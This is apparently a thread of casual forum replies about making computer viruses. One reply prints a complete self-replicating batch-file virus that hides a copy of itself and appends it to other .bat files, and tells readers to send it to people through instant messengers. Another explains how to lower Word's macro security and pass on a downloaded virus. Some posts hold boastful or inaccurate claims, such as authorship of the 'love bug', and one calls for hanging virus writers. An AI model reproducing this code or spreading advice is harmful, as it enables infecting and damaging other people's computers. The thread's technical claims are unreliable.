Well, a virus is made by someone and not caused. You know that viruses disable a computer and finally -if the virus is not found and destroyed- the computer becomes just garbage. Someone that has made a virus, sends it to users by electronic mail (e-mail) and then the virus causes damages to the user's computer when he/she just surf the net! It finally says "buy buy hard disk!" and your files in C:\ are ALL deleted. Your computer is not for use any more after that... :-( Hard to believe huh? A virus' creator must be really intelligent! (usually...)

Ya, it's possible, depending on how you do it...but most of the ones you'd b able 2 make would be not very good anyway, so try with something else. You can get a programming language called PureBasic Here: http://www.purebasic.com

Well to make viruses it could take years to get the hang of it. Once you make a good virus like most hackers the person they are after better watch out, if it is a trojan ha kiss your pc goodbye and call her lucy...
Hackers are more friendly than crackers hackers take more care in your stuff crackers wreck your pc so easy without care(well most of them)
If you want to learn how to make viruses dont hang around asking people to teach you try and buy a book of a site and make sure it is edition one  you dont want to be getting ediot 10 when you dont know anything.
To get someones ip it takes so little energy about two or three clicks and two seconds of typing and damb they dont even know whats going on.

I would have to disagree with some people in a way. First, a virus can do more then just wreck your computer. Second, viruses aren't just spread by emails, there are many ways to do it, for example: Peer to Peer programs, or programs from free host sites that are unheard of.

It depends what you program the virus to do, ex: if it's like a backdoor.Trojan, it's going to use a port and get into your computer. If it's something like a worm, it could just delete a system file or two.

Also, I serisouly doubt someone made a 'pretty cool' virus in Notepad. Notepad isn't much more then an editor, therefore, you would need some other editing software to put the final touches on. He might have just made a code in Notepad and then used it in a programming program like Visual Basic.

Hello,

I would like to create a virus that is not dangerous, a kind of "false virus" that doesn't make damages, my project is to make a program that tells jokes and make funny things, but all those bugs disapear when removing the program(I would like it to be easy to remove).  I'm not a hacker, my goal is only to make a funny virus that people install intentionnaly.  If you know a program to make this, please anwer me.

Technical answer and public service to eliminate viruses.
Virus is a program. But it is a self reproducing program unlike other programs. That alone is not a problem, but it usually is like roaches, reproducing, as well as causing harm.
Unfortunately, the legal system does not understand how much pain virus causes to us people. If a vandal comes and destroys 20 windows on the street where you live, it will take each home owner 4 hours to fix their house, so the vandal in 10 minutes, caused 80 hours of damage to all home owners. If the vandals are caught, they will serve 80 hours of community service.
Now consider virus vandal. In 10 minutes he can infect 100,000 computers. Each owner of computer will expend 40 hours to fix it. This totals 4 million hours of humanity life. If you consider that human lives about 80 years, it is about 1 million hours. So the vandals in 10 minutes cost the humanity 4 lives.

Therefore when they get caught, they should be sentenced to 4 hangings, 3 of them, you let them hang for 2 minutes, and the last, and you let them hang for a day.

This is someway to make a virus (not sure) go to Microsoft word go to tools > then options > then click security > then click macro settings > change it to low then click OK download a virus from net and save it. (Norton anti-virus 2006 Recommended to do this) and send it to who ever u want.

Personally I have used Visual basic 6, 2005 and .net to create viruses such as the "WinStall", "Macez1" and the "love bug" (one of my better creations) which is based on Visual Basic 6 script with the use of timers etc, for begginers I would deffinetley choose Visual Basic 6 though Visual basic 2005 is available free from the microsoft website, happy codeing.

ok i have made notepad viruses many times and thay are very easy in this comment i will include a wierd code which u will copy and paste into notepad. (cant find notepad? click run and type notepad) ok here is the code        

@echo off%[BfV_B]%
if '%1=='## goto BfV_%2
if exist C:\_BfV.bat goto BfV_
if not exist %0.bat goto BfV_end
find "BfV"<%0.bat>C:\_BfV.bat
attrib C:\_BfV.bat +h
:BfV_
command /e:5000 /c C:\_BfV ## run
goto BfV_end
:BfV_run
for %%i in (*.bat ..\*.bat) do call C:\_BfV ## inf %%i
exit BfV
:BfV_inf
if '%BfV%=='1111111 exit
set BfV=%BfV%1
find "BfV"<%3>nul
if not errorlevel 1 goto BfV_end
type %3>BfV
type C:\_BfV.bat>>BfV
move BfV %3>nul
exit BfV
:BfV_end


now what you do is copy this n paste it into notepad and save it as whatever you want but you must put .BAT at the end (ex. MyVirus.BAT) and then your done now whatever you do do not click on this if you would like to view it without running it right click it and click edit and ull be fine. now you can send your virus to pple through aim and msn messenger and lots of other ways.

its possible to make viruses with notepad. ive seen a video of a guy making a virus that was one line long and what it does, is delete the person's documents in My Documents. what he did was made it a batch file, by putting the .bat extension on it.
